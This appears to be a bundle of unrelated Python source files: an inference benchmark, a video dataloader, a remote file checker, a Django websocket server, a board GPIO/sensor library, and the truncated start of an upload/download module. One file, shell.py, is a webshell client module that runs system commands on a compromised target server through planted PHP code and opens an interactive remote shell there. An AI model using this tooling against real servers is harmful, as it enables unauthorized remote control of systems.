get_images(args.data, args.num_images, net.inputs[input_blob].shape, args.preprocess) num_images = len(img_ids) num_batches = len(inputs) power = [] if args.power == 'yes': t = threading.Thread(target=get_power, args=(power, args.port, ), daemon=True) t.start() print('Start inference...') results = [] start_infer = time.time() for i in range(num_batches): infer_request = request_queue.getIdleRequest() infer_input = inputs[i] if not infer_request: raise Exception('No idle requests') if args.mode == 'async': mode = 'async' infer_request.startAsync({input_blob: infer_input}, results) else: mode = 'sync' result = infer_request.infer({input_blob: infer_input}) results.append(result) request_queue.waitAll() end_infer = time.time() results = post_result(out_blob, results) save_results(args.outdir, results, img_sizes, img_ids) ############################################################################ mAP = accuracy(img_ids, args.ann_file, args.outdir + '/ncs2_results.json') latency = (end_infer - start_infer) * 1000 / num_images save_power = 'NA' save_map = str(mAP) save_top1 = 'NA' save_top5 = 'NA' save_time = str(round(latency, 2)) save_batchsize = str(net.batch_size) save_platform = 'NCS2' save_dataset = str(num_images) save_date = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) save_edp = 'NA' save_ledp = 'NA' save_clmd_acc = 'NA' save_pbname = re.split(r"/|\.", args.model)[-2] + '.pb' if args.power == 'yes': save_power = round(np.mean(power), 2) print_result(num_images, end_infer - start_infer, mode, save_power) save_all = [save_date, save_platform, \ save_pbname, save_top1, save_top5, \ save_map, save_batchsize, save_time, \ save_dataset, save_power, \ save_edp, save_clmd_acc, save_ledp] write_result(str(dir_name) + '/../../../result.csv', save_all) ############################################################################# if __name__ == '__main__': sys.exit(main())
dataload_ucf_101.py
# -*- coding: utf-8 -*- import tensorflow as tf import numpy as np import multiprocessing as mp import cv2 import os import random import time class ImgArgument(): def __init__(self): self.graph = tf.Graph() with self.graph.as_default(): self.img = tf.placeholder(tf.float32, [256, 256, 3]) img = tf.random_crop(self.img, [224, 224, 3]) img = tf.image.random_flip_left_right(img) # img = tf.image.random_brightness(img, max_delta=32. / 255.) # img = tf.image.random_contrast(img, lower=0.5, upper=1.5) img = tf.image.random_hue(img, max_delta=0.032) img = tf.image.random_saturation(img, lower=0.5, upper=1.5) self.output = tf.clip_by_value(img, 0, 1.) def load_one_video(path2video, num_frm, sample_size, is_train=True): ''' Args: path2video: str, the absolute path to a video num_frm: int, the number of frames of that video sample_size: int, the number to sample is_train: bool, determine whether images should be argumented Return: a stack of frames for one video, shape = (sample_size, channels, height, width) Description: load a video ''' frm_idx = np.random.choice(np.arange(num_frm), size=sample_size) frm_idx.sort() vid = np.load(os.path.join(path2video, 'imgs.npy')) images = vid[frm_idx].astype(np.float32) - np.array([104., 117., 123.], dtype=np.float32) processed = [] for idx in range(sample_size): if is_train: if random.randint(0, 1): images[idx] = cv2.flip(images[idx], 1) x_start, y_start = random.randint(0, 96), random.randint(0, 96) img = images[idx, x_start:x_start+224, y_start:y_start+224] delta = np.random.randn(224, 224, 3).astype(np.float32) * 0.05 img += delta img = np.transpose(img, [2, 0, 1]) img = (img - 0.5) * 2.0 img = np.clip(img, -1., 1.) processed.append(img) processed = np.stack(processed, axis=0) return processed def load_video(path2video_queue, video_queue, sample_size, is_train=True, idx=0): ''' Args: path2video_queue: queue.Queue, the video paths are pushed into the queue video_queue: queue.Queue, the (np.array of video, label)s are pushed into the queue sample_size: int, the number of frames to be sampled is_train: bool, whether in training idx: int, the process index ''' cnt = 0 while True: try: path2video, num_frm, label = path2video_queue.get(True, 120) cnt += 1 except: print('Process %d has finished. %d videos have been preprocessed.' % (idx, cnt)) break images = load_one_video(path2video, num_frm, sample_size, is_train=is_train) video_queue.put([images, label]) def load_video_path(fpath, path2video_queue, epoch=1): warehouse = [] with open(fpath, 'r') as fo: for line in fo: elems = line.strip().rsplit(' ', 2) elems = [e for e in elems if len(e) > 0] path2video, num_frm, label = elems[0], int(elems[1]), int(elems[2]) warehouse.append((path2video, num_frm, label)) for i in range(epoch): for elem in warehouse: path2video_queue.put(elem) random.shuffle(warehouse) def get_images(video_queue): for i in range(3): images, label = video_queue.get() for j in range(images.shape[0]): img = images[j] img = np.transpose(img, [1, 2, 0]) img = np.array(np.around((img / 2 + 0.5) * 255.), dtype=np.uint8) img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR) cv2.imwrite('image_%d_%d_%d.jpg'%(i, j, label), img) def test(): path2train = '/home/chenhaoran/Kinetics400_rgb_train.txt' manager = mp.Manager() path2video_queue = manager.Queue() video_queue = manager.Queue() plist = [] p = mp.Process(target=load_video_path, args=(path2train, path2video_queue, 1)) plist.append(p) p = mp.Process(target=load_video, args=(path2video_queue, video_queue, 32, True, 0)) plist.append(p) p = mp.Process(target=load_video, args=(path2video_queue, video_queue, 32, True, 1)) plist.append(p) p = mp.Process(target=get_images, args=(video_queue, )) plist.append(p) for p in plist: p.start() time.sleep(60) print('video_queue size:', video_queue.qsize(), 'path2video_queue size:', path2video_queue.qsize()) plist[0].terminate() plist[1].terminate() plist[2].terminate() plist[3].terminate() return for p in plist: p.join() if __name__ == "__main__": test()
open_remote_file.py
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Authors: # - Paul Nilsson, paul.nilsson@cern.ch, 2020-2021 import argparse import os import logging import threading import queue import ROOT from collections import namedtuple from pilot.util.config import config from pilot.util.filehandling import ( establish_logging, write_json, ) logger = logging.getLogger(__name__) def get_args(): """ Return the args from the arg parser. :return: args (arg parser object). """ arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-d', dest='debug', action='store_true', default=False, help='Enable debug mode for logging messages') arg_parser.add_argument('-t', dest='nthreads', default=1, required=False, type=int, help='Number of concurrent file open threads') arg_parser.add_argument('-w', dest='workdir', required=False, default=os.getcwd(), help='Working directory') arg_parser.add_argument('--turls', dest='turls', required=True, help='TURL list (e.g., filepath1,filepath2') arg_parser.add_argument('--no-pilot-log', dest='nopilotlog', action='store_true', default=False, help='Do not write the pilot log to file') return arg_parser.parse_args() def message(msg): """ Print message to stdout or to log. Note: not using lazy formatting. :param msg: message (string). :return: """ print(msg) if not logger else logger.info(msg) def get_file_lists(turls): """ Return a dictionary with the turls. Format: {'turls': <turl list>} :param turls: comma separated turls (string) :return: turls dictionary. """ _turls = [] try: _turls = turls.split(',') except Exception as error: message("exception caught: %s" % error) return {'turls': _turls} def try_open_file(turl, queues): """ Attempt to open a remote file. Successfully opened turls will be put in the queues.opened queue. Unsuccessful turls will be placed in the queues.unopened queue. :param turl: turl (string). :param queues: queues collection. :return: """ turl_opened = False try: message('opening %s' % turl) _timeout = 120 * 1000 # 120 s _ = ROOT.TFile.SetOpenTimeout(_timeout) message("time-out set to %d ms)" % _timeout) in_file = ROOT.TFile.Open(turl) except Exception as exc: message('caught exception: %s' % exc) else: if in_file and in_file.IsOpen(): in_file.Close() turl_opened = True message('closed %s' % turl) queues.opened.put(turl) if turl_opened else queues.unopened.put(turl) queues.result.put(turl) def spawn_file_open_thread(queues, file_list): """ Spawn a thread for the try_open_file(). :param queues: queue collection. :param file_list: files to open (list). :return: thread. """ thread = None try: turl = file_list.pop(0) except IndexError: pass else: # create and start thread for the current turl thread = threading.Thread(target=try_open_file, args=(turl, queues)) thread.daemon = True thread.start() return thread if __name__ == '__main__': """ Main function of the remote file open script. """ # get the args from the arg parser args = get_args() args.debug = True args.nopilotlog = False try: logname = config.Pilot.remotefileverification_log except Exception as error: print("caught exception: %s (skipping remote file open verification)" % error) exit(1) else: if not logname: print("remote file open verification not desired") exit(0) establish_logging(debug=args.debug, nopilotlog=args.nopilotlog, filename=logname) logger = logging.getLogger(__name__) # get the file info file_list_dictionary = get_file_lists(args.turls) turls = file_list_dictionary.get('turls') processed_turls_dictionary = {} queues = namedtuple('queues', ['result', 'opened', 'unopened']) queues.result = queue.Queue() queues.opened = queue.Queue() queues.unopened = queue.Queue() threads = [] message('will attempt to open %d file(s) using %d thread(s)' % (len(turls), args.nthreads)) if turls: # make N calls to begin with for index in range(args.nthreads): thread = spawn_file_open_thread(queues, turls) if thread: threads.append(thread) timedout = False while turls: try: _ = queues.result.get(block=True, timeout=60) except queue.Empty: message("reached time-out") timedout = True break except Exception as error: message("caught exception: %s" % error) thread = spawn_file_open_thread(queues, turls) if thread: threads.append(thread) # wait until all threads have finished [_thread.join() for _thread in threads] opened_turls = list(queues.opened.queue) opened_turls.sort() unopened_turls = list(queues.unopened.queue) unopened_turls.sort() for turl in opened_turls: processed_turls_dictionary[turl] = True for turl in unopened_turls: processed_turls_dictionary[turl] = False # write dictionary to file with results _status = write_json(os.path.join(args.workdir, config.Pilot.remotefileverification_dictionary), processed_turls_dictionary) else: message('no TURLs to verify') exit(0)
shell.py
from threading import Thread from libs.config import gget, alias, color, set_namespace from libs.myapp import send, base64_encode, is_windows, get_system_code from libs.app import readline, value_translation NEW_WINDOWS_WORDLIST = {"common_wordlist": ( "echo", "dir", "cd", "md", "rd", "tree", "type", "ren", "copy", "move", "del", "replace", "attrib", "cls", "ver", "ver", "time", "systeminfo", "start", "exit", "wmic", "net", "start", "stop", "share", "use", "view", "tasklist", "ipconfig", "netstat", "arp", )} NEW_UNIX_WORDLIST = {"common_wordlist": ( "echo", "ls", "ls -al", "rm", "cp", "mv", "cat", "chmod", "chown", "mkdir", "uname", "whereis", "which", "date", "curl", "wget", "dir", "cd", "pwd", "mkdir", "ps", "ps aux", "free", "df", "kill", "find", "gzip", "tar", "grep", )} @alias(True, func_alias="s", _type="SHELL") def run(*commands): """ shell Get a temporary shell of target system by system function or just run a shell command. """ command = str(value_translation(gget("raw_command_args"))) if (command): res = send(get_system_code(command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print(color.cyan("Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n")) res = send(f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());').r_text.strip() prompt, pwd = res.split("|") set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WINDOWS_WORDLIST if (is_windows()) else NEW_UNIX_WORDLIST) if is_windows(): prompt = "%s> " else: prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ " try: while gget("loop"): print(prompt % pwd, end="") command = str(value_translation(readline())) lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue b64_pwd = base64_encode(pwd) if (lower_command.startswith("cd ") and len(lower_command) > 3): path = base64_encode(lower_command[3:].strip()) res = send(f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());') if (not res): return pwd = res.r_text.strip() else: real_command = f'chdir(base64_decode(\'{b64_pwd}\'));' + get_system_code(command) if command.endswith("&"): t = Thread(target=send, args=(real_command, )) t.setDaemon(True) t.start() print("\n[+] " + command + ": run in backend\n") else: res = send(real_command) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
async.py
import multiprocessing import socket import time import hashlib import base64 import struct import select from django.contrib.sessions.models import Session from django.contrib.auth.models import User ##################################### ASYNC #################################### # The async program is ment to introduce a socketio like interface for # # briefcase, however becuase I can write the specific functions for the # # program I have decided to write some cool modules for live programming. # # Lets do some cool stuff with this. I hope it all gets documented well and I # # will change this opening message # ################################################################################ # the fake request object is a hack to emulate part of the actual django request object # in the future this object may come to be able to fully handle any type of requets # thet the regular request object can handle class fakeRequest(object): path = "" # the path that can be requested by the user user = None # the user that created the websocket session = None # to be implemented! extra = {} def __init__(self, path, session_key): # Initilize the session variable self.session = Session.objects.get(session_key=session_key) # Initilize the User variable from the session variable userid = self.session.get_decoded().get('_auth_user_id') self.user = User.objects.get(pk=userid) # initilize the path self.path = path # This is the socket class, it handles the sockets and the data that is sent # between them, as well as handling the calling of functions that are needed class Sockets(object): _serverSocket = None # the socket that is listeneing for new connections _socketPort = 8080 # the port that the listening socket is listening on callingFunctions = {} # the map of registered document functions to call _documentSocketLists = {} # the list of documents that are open #_socketToDocumentIdMap = {} # maps the currently open sockets to their user ids #_socketToDocumentTypeMap = {} # maps the currently open sockets to their document types _socketToRequestMap = {} # Create the socket for people to connect to! def begin(self): print "Beginning socket" coreSocket = multiprocessing.Process(target=self.connectionSocket) coreSocket.start() # This function runs in a seperate multiprocess process waiting for new websocket connections def connectionSocket(self): # this is the function that handles all of the incoming socket data!? print "creating socket" # create the socket self._serverSocket = socket.socket() self._serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._serverSocket.bind(('localhost', self._socketPort)) # connect to localhost on port 9876 print "socket bound to port", self._socketPort self._serverSocket.listen(1) read_list = [self._serverSocket] # Loop through a bunch of different stuff while 1: readable, writeable, errored = select.select(read_list, [], []) # wait for one of the sockets to do something for sock in readable: if sock == self._serverSocket: t, _ = sock.accept() print "Got Connectino: Handling" if self.handle(t): read_list.append(t) else: print "Got a data connection:" data = self.readWebsocketData(sock.recv(4096)) # call function for that socket request = self._socketToRequestMap[sock] documentId = request.extra['documentId'] documentType = request.extra['documentType'] socketList = self._documentSocketLists[documentId] # a simple set of functioncalls to handle the application class ThreadedSock(): def sendToAll(self, data): for client_socket in socketList: sendWebsocketText(client_socket, data) def sendToMe(self, data): sendWebsocketText(sock, data) def sendToAllButMe(self, data): for client_socket in socketList: if client_socket != sock: sendWebsocketText(client_socket, data) def disconnect(self, data): pass # create a dummy socket object socketObject = ThreadedSock() self.callingFunctions[documentType][1](request, data, socketObject) ############################ READ WEBSOCKET DATA ########################### # This function takes in a message sent to it by a websocket and converts # # it into a regular string. First it determines the length of the message # # as well as the mask of the message. Then it takes each byte of the # # message and XORs it with a byte of the mask. Once it is done the # # unmasked string is returned in a readable form. # ############################################################################ def readWebsocketData(self, data): header = data[0] mask = struct.unpack(">B", data[1])[0] & 0x80 # B1000000 print "Mask", mask payloadLength = struct.unpack(">B", data[1])[0] & 0x7F # B0111111 dataindex = 2 # get correct payload length if payloadLength == 126: payloadLength = struct.unpack(">H", data[dataindex:dataindex+2]) # parse into a 2 byte unsigned short dataindex += 2 elif payloadLength == 127: payloadLength = struct.unpack(">Q", data[dataindex:dataindex+8]) # parse into a 8 byte unsigned long long dataindex += 8 # get the 32bit masking key maskingKey = [None]*4 if mask != 0: maskingKey[0] = struct.unpack(">B", data[dataindex+0])[0] # parse into four unsigned bytes maskingKey[1] = struct.unpack(">B", data[dataindex+1])[0] maskingKey[2] = struct.unpack(">B", data[dataindex+2])[0] maskingKey[3] = struct.unpack(">B", data[dataindex+3])[0] dataindex += 4 print "masking Key", maskingKey payload = data[dataindex:dataindex+payloadLength] if maskingKey != "": transformedpayload = "" for (i, char) in enumerate(payload): j = i % 4 transform = struct.unpack(">B", char)[0] ^ maskingKey[j] transformedpayload += struct.pack(">B", transform) payload = transformedpayload return payload ############################# HANDLE NEW SOCKET ############################ # The handle new socket functions takes in a new socket that has # # connected to the server. It first reads the metatags on the socket and # # parses out the application it is trying to communicate with and the ID # # of the document it is trying to communicate with. It then grabs the # # other metadata to build a psuedo request object to send to the # # onConnect function assigned to the requested application. If the # # onConnect function returns false the connection is terminated. If it # # returns tru the conenction is accepted and the socket is added to the # # list of connected sockets. # ############################################################################ def handle(self, sock): print '--- Got message! ---' data = sock.recv(4096) lines = data.split('\r\n') metadata = {} requestType = "" # get push etc. requestLocation = "" # url it is accessing requestProtocol = "" # HTTP/1.1 requestLine = lines[0].split(' ') requestType = requestLine[0] requestLocation = requestLine[1] requestProtocol = requestLine[2] print requestLocation splitLocatoin = requestLocation.split('/') requestApplication = splitLocatoin[1] requestDocumentId = splitLocatoin[2] print "Requested Application:", requestApplication print "Requested Document ID:", requestDocumentId # get all the other data given in the header for line in lines: tokens = line.split(':') if len(tokens) < 2: continue name = tokens[0] value = tokens[1] metadata[name] = value print ("("+name+")").ljust(27), value # call function # get the user trying to subscribe to the spreadsheet print metadata # parse the cookie data to get the session id cookies = self.parseCookie(metadata['Cookie']) print "cookies: ", cookies session_key = cookies['sessionid'] # create a fake request object to pass to the socket handling function request = fakeRequest(requestLocation, session_key) request.extra = {'documentId': requestDocumentId, 'documentType': requestApplication} print '\n\n\n\n' print self.callingFunctions allowSocket = self.callingFunctions[requestApplication][0](request) # Check to see if the socket should be accepted or ignored if allowSocket is False: websocketHeader = "HTTP/1.1 401 Unauthorized" sock.send(websocketHeader + "\r\n\r\n") sock.close() # return the socket failed and should be ignored return False # Get the base websocket key and create the response key baseKey = metadata['Sec-WebSocket-Key'].strip() websocketResponseKey = self.createWebsocketResponseKey(baseKey) # respond with a sucess message to the websocket websocketHeader = "HTTP/1.1 101 Switching Protocols\r\n" websocketHeader += "Upgrade: websocket\r\n" websocketHeader += "Connection: Upgrade\r\n" websocketHeader += "Sec-WebSocket-Accept: " + websocketResponseKey sock.send(websocketHeader + "\r\n\r\n") # first check to see if the threadprocess exists for that file if requestDocumentId not in self._documentSocketLists: print "Creating a new array for this document:", requestDocumentId self._documentSocketLists[requestDocumentId] = [] # add the data that will be needed later to the class's variables self._documentSocketLists[requestDocumentId].append(sock) self._socketToRequestMap[sock] = request return True # reutrn that the socket succeded and should be added to the read list ####################### CREATE WEBSOCKET RESPONSE KEY ###################### # This function takes in the key that was sent to the server by the # # websocket and creates the response key from it. It first concatinates # # the websocket string to the end of the base64 key, takes the sha1 of # # that concatination and then converts the resulting sha1 hash into # # base64 which is the response key. # ############################################################################ def createWebsocketResponseKey(self, baseKey): #print "Key:".ljust(15), baseKey concatinatedKey = baseKey + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" #print "Concat Key:".ljust(15), concatinatedKey hashedKey = hashlib.sha1(concatinatedKey).digest() #print "Hashed Key:".ljust(15), hashedKey base64Key = base64.b64encode(hashedKey) #print "Final Key:".ljust(15), base64Key return base64Key ############################### PARSE COOKIE ############################### # This function takes in a string containing the value of the HTTP # # metadata named Cookie. It then parses the data and returns a map of the # # elements of the cookie with the element names as the key and the # # element values as the values # ############################################################################ def parseCookie(self, cookie): cookieObjects = {} cookieElements = cookie.split(";") for cookieElement in cookieElements: cookieElementSplit = cookieElement.split('=') cookieElementKey = cookieElementSplit[0].strip() cookieElementValue = cookieElementSplit[1].strip() cookieObjects[cookieElementKey] = cookieElementValue return cookieObjects ############################ REGISTER FUNCTIONS ############################ # The register functions function takes in a set of three functions as # # well as a name. The name is the url of the current application while # # the three functions are the onconnect, onmessage, and ondisconnect # # functions that will be triggered when a socket of that application type # # does any of the above actions # # @CalledIn: Main Thread # # Data is passed from the main thread where this is called to the socket # # thread where the socket is run # # It may be easier if I can get the socket to not be initilized until the # # second thread is created.. # ############################################################################ def register(self, name, onconnect, onmessage, ondisconnect): # onconnect is blocking on websocket thread # onmessage and ondisconnect is blocking on the document's thread self.callingFunctions[name] = (onconnect, onmessage, ondisconnect) print "-- REGESTERING THE FUNCTIONS_______________________ Set up ", name print self.callingFunctions # this function could use some sanitization too... ############################## SEND WEBSOCKET TEXT ############################# # This function takes in a string and sends it over a websocket. It adds the # # required header bytes in order to send the message and then sends it. # # The base framing protocol can be found on page 27 with a diagram on 28 of # # the RFC6455 Websocket Protocol document # ################################################################################ def sendWebsocketText(sock, text): maskAndLengthByte = '' extendedPayloadLength = '' length = len(text) if length <= 125: print "short length" maskAndLengthByte += struct.pack('>I', length)[3] print maskAndLengthByte else: print "long length" maskAndLengthByte = struct.pack('>I', 126)[3] print maskAndLengthByte extendedPayloadLength = struct.pack('>I', length)[2:4] print extendedPayloadLength finRsvAndOpcode = '\x81' # fin (x8_)(B1000000) and no RSV opcode is x_1 for text message = finRsvAndOpcode + maskAndLengthByte + extendedPayloadLength + text sock.send(message) # Initilize the Sockets class as a callable object sockets = Sockets()
Neo.py
from os import system, devnull from subprocess import call, STDOUT from sys import exit from time import sleep from threading import Thread class Gpio: def __init__(self): self.gpios = ["178", "179", "104", "143", "142", "141", "140", "149", "105", "148", "146", "147", "100", "102", "102", "106", "106", "107", "180", "181", "172", "173", "182", "124", "25", "22", "14", "15", "16", "17", "18", "19", "20", "21", "203", "202", "177", "176", "175", "174", "119", "124", "127", "116", "7", "6", "5", "4"] self.gpioval = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] self.gpiodir = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] self.current = 0 self.OUTPUT = 1 self.INPUT = 0 self.HIGH = 1 self.LOW = 0 for num in self.gpios: try: with open("/sys/class/gpio/export", "w") as create: create.write(num) with open("/sys/class/gpio/gpio" + self.gpios[current] + "/value", "r") as reads: self.gpioval[self.current] = reads.read() with open("/sys/class/gpio/gpio" + self.gpios[current] + "/direction", "r") as readdir: self.gpiodir[self.current] = (1 if "out" in readdir.read() else 0) self.current += 1 except: sleep(0.000001) print "Neo gpios started, make sure arduino isn't using the same pins or you can ruin this board!" def pinMode(self, pin=2, direction=0): try: gpio = self.gpios[int(pin)] if int(direction) != self.gpiodir[pin]: with open("/sys/class/gpio/gpio" + gpio + "/direction", "w") as writer: writer.write("in" if direction < 1 else "out") self.gpiodir[pin] = (0 if direction < 1 else 1) return True except ValueError: print "ERROR: pinMode, value inserted wasn't an int" return False except: print "ERROR: pinMode, error using pinMode" return False ''' def pwmdonttouch(self, p, d): try: while True: t = open("/sys/class/gpio/gpio"+p+"/value", "w") t.write('1') t.close() sleep(d) t = open("/sys/class/gpio/gpio"+p+"/value", "w") t.write('0') t.close() sleep(d) except (KeyboardInterrupt, SystemExit): exit() def pwmWrite(self, pin=2, value = 0): try: with open("/sys/class/gpio/gpio"+self.gpios[int(pin)]+"/value", "r") as reads: check = reads.read() if "in" in check: print "Current pin direction is in" return False try: micro = (int(value)/100000) thread = Thread(target=self.pwmdonttouch, args=(self.gpios[int(pin)],micro,)) #((self.pwms)[int(pin)]) = thread thread.start() except: print "ERROR: pwmWrite had a threading error" except ValueError: print "ERROR: pwmWrite, value inserted wasn't an int" return False ''' def digitalWrite(self, pin=2, value=0): try: gpio = self.gpios[int(pin)] if self.gpiodir[pin] != 1: with open("/sys/class/gpio/gpio" + gpio + "/direction", "w") as re: re.write("out") self.gpiodir[pin] = 1 if self.gpioval[pin] != int(value): with open("/sys/class/gpio/gpio" + gpio + "/value", "w") as writes: writes.write("0" if value < 1 else "1") self.gpioval[pin] = (0 if value < 1 else 1) return True except ValueError: print "ERROR: digitalWrite, value inserted wasn't an int" return False except: print "ERROR: digitalWrite, error running" return False def digitalRead(self, pin=2): try: gpio = self.gpios[int(pin)] if self.gpiodir[pin] != 0: with open("/sys/class/gpio/gpio" + gpio + "/direction", "w") as re: re.write("in") self.gpiodir[pin] = 0 with open("/sys/class/gpio/gpio" + gpio + "/value", "r") as reader: self.gpioval[pin] = int(reader.read().replace('\n', '')) return self.gpioval[pin] except ValueError: print "ERROR: digitalRead, value inserted wasn't an int" return -1 except: print "ERROR: digitalRead, error running" return -1 class easyGpio(): def __init__(self, pin): self.pin = int(pin) self.gpio = Gpio() def pinOUT(self): self.gpio.pinMode(self.pin, 1) def pinIN(self): self.gpio.pinMode(self.pin, 0) def on(self): self.gpio.digitalWrite(self.pin, 1) def off(self): self.gpio.digitalWrite(self.pin, 0) def get(self): return self.gpio.digitalRead(self.pin) class Led: def __init__(self): self.led = 0 def on(self): with open("/sys/class/leds/led0/brightness", "w") as w: w.write("1") def off(self): with open("/sys/class/leds/led0/brightness", "w") as w: w.write("0") class Temp: def __init__(self): # Start temp module on object call self.temp = 0000 NULLS = open(devnull, 'w') try: call(["rmmod", "lm75"], stdout=NULLS, stderr=STDOUT) # Reset module finally: sleep(0.0001) # wait for script update try: call(["modprobe", "lm75"], stdout=NULLS, stderr=STDOUT) finally: sleep(0.0001) # again script update try: system( "sh -c 'echo lm75 0x48 >/sys/class/i2c-dev/i2c-1/device/new_device' 2&>/dev/null") # easier to run command to black hole using system finally: sleep(0.001) # longer script wait def getTemp(self, mode="f"): # Return with mode try: with open("/sys/class/i2c-dev/i2c-1/device/1-0048/temp1_input", "r") as reader: # Read i2c millicel file self.temp = (float(reader.read().replace(' ', '').replace('\n', ''))) * (0.001) # Turn into celcius except: print "Snap in sensor is not plugged in!" finally: return ((self.temp) * 1.8 + 32) if "f" in mode else (self.temp) # Either return into Far or Celc class Barometer: def __init__(self): self.temp = 0000 self.Tempscale = 0000 self.pressure = 0000 self.Tempress = 000 NULLS = open(devnull, 'w') try: call(["rmmod", "mpl3115"], stdout=NULLS, stderr=STDOUT) # Reset module finally: sleep(0.0001) # wait for script update try: call(["modprobe", "mpl3115"], stdout=NULLS, stderr=STDOUT) finally: sleep(0.0001) # again script update def getTemp(self, mode="f"): # Return from Barometer try: with open("/sys/class/i2c-dev/i2c-1/device/1-0060/iio:device0/in_temp_raw", "r") as treader: self.temp = (float(treader.read().replace('\n', ''))) with open("/sys/class/i2c-dev/i2c-1/device/1-0060/iio:device0/in_temp_scale", "r") as tsreader: self.Tempscale = (float(tsreader.read().replace('\n', ''))) self.temp = ((self.temp) * (self.Tempscale)) except: print "Barometer is not plugged in!" finally: return ((self.temp) * 1.8 + 32) if "f" in mode else (self.temp) def getPressure(self): # Return raw data which is (kPA) a form of pressure measurments sea level is about 100 try: with open("/sys/class/i2c-dev/i2c-1/device/1-0060/iio:device0/in_pressure_raw", "r") as preader: self.pressure = (float(preader.read().replace('\n', ''))) with open("/sys/class/i2c-dev/i2c-1/device/1-0060/iio:device0/in_pressure_scale", "r") as psreader: self.Tempress = (float(psreader.read().replace('\n', ''))) except: print "Barometer is not plugged in!" finally: return float((self.pressure) * (self.Tempress)) class Accel: def __init__(self): self.accel = [0, 0, 0] self.calib = [0, 0, 0] self.valSub = [] self.raw = "" try: with open("/sys/class/misc/FreescaleAccelerometer/enable", "w") as enabler: enabler.write("1") except: print "Error: No Accel detected" def calibrate(self): self.valSub = self.get() for num in range(0, len(self.accel)): self.calib[num] = self.valSub[num] sleep(0.5) for num in range(0, len(self.accel)): self.calib[num] = self.valSub[num] def get(self): # Return accel data in array try: with open("/sys/class/misc/FreescaleAccelerometer/data", "r") as reader: self.raw = str(reader.read().replace('\n', '')) for a in range(0, 3): try: self.accel[a] = (int(self.raw[0:self.raw.index(',')]) if ',' in self.raw else int(self.raw)) self.raw = self.raw[self.raw.index(',') + 1:] except: break except: print "Error using accelerometer!" finally: for num in range(0, len(self.accel)): self.accel[num] -= self.calib[num] return self.accel # return like this [x, y, z] in integer formats class Magno: def __init__(self): self.magn = [0, 0, 0] self.calib = [0, 0, 0] self.valSub = [] self.raw = "" try: with open("/sys/class/misc/FreescaleMagnetometer/enable", "w") as enabler: enabler.write("1") except: print "Error: No Magnometer detected" def calibrate(self): self.valSub = self.get() for num in range(0, len(self.magn)): self.calib[num] = self.valSub[num] sleep(0.5) for num in range(0, len(self.magn)): self.calib[num] = self.valSub[num] def get(self): # Return mango data in array with open("/sys/class/misc/FreescaleMagnetometer/data", "r") as reader: self.raw = str(reader.read().replace('\n', '')) for a in range(0, 3): try: self.magn[a] = (int(self.raw[0:self.raw.index(',')]) if ',' in self.raw else int(self.raw)) self.raw = self.raw[self.raw.index(',') + 1:] except: break for num in range(0, len(self.magn)): self.magn[num] -= self.calib[num] return self.magn # return like this [x, y, z] in integer formats class Gyro: def __init__(self): self.gyro = [0, 0, 0] self.calib = [0, 0, 0] self.valSub = [] self.raw = "" try: with open("/sys/class/misc/FreescaleGyroscope/enable", "w") as enabler: enabler.write("1") except: print "Error: No Gyro detected" def calibrate(self): self.valSub = self.get() for num in range(0, len(self.gyro)): self.calib[num] = self.valSub[num] sleep(0.5) for num in range(0, len(self.gyro)): self.calib[num] = self.valSub[num] def get(self): # Return gyro data in array with open("/sys/class/misc/FreescaleGyroscope/data", "r") as reader: self.raw = str(reader.read().replace('\n', '')) for a in range(0, 3): try: self.gyro[a] = (int(self.raw[0:self.raw.index(',')]) if ',' in self.raw else int(self.raw)) self.raw = self.raw[self.raw.index(',') + 1:] except: break for num in range(0, len(self.gyro)): self.gyro[num] -= self.calib[num] return self.gyro # return like this [x, y, z] in integer formats
transfer.py
#!/usr/bin/env python # # Copyright 2015 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Upload and download support for apitools.""" from __future__ import print_function import email.generator as email_generator import email.mime.multipart as mime_multipart import email.mime.nonmultipart as mime_nonmultipart import io import json import mimetypes import os import threading import six from six.moves import http_client from apitools.base.py import buffered_stream from apitools.base.py import compression from apitools.base.py import exceptions from apitools.base.py import http_wrapper from apitools.base.py import stream_slice from apitools.base.py import util __all__ = [ 'Download', 'Upload', 'RESUMABLE_UPLOAD', 'SIMPLE_UPLOAD', 'DownloadProgressPrinter', 'DownloadCompletePrinter', 'UploadProgressPrinter', 'UploadCompletePrinter', ] _RESUMABLE_UPLOAD_THRESHOLD = 5 << 20 SIMPLE_UPLOAD = 'simple' RESUMABLE_UPLOAD = 'resumable' def DownloadProgressPrinter(response, unused_download): """Print download progress based on response.""" if 'content-range' in response.info: print('Received %s' % response.info['content-range']) else: print('Received %d bytes' % response.length) def DownloadCompletePrinter(unused_response, unused_download): """Print information about a completed 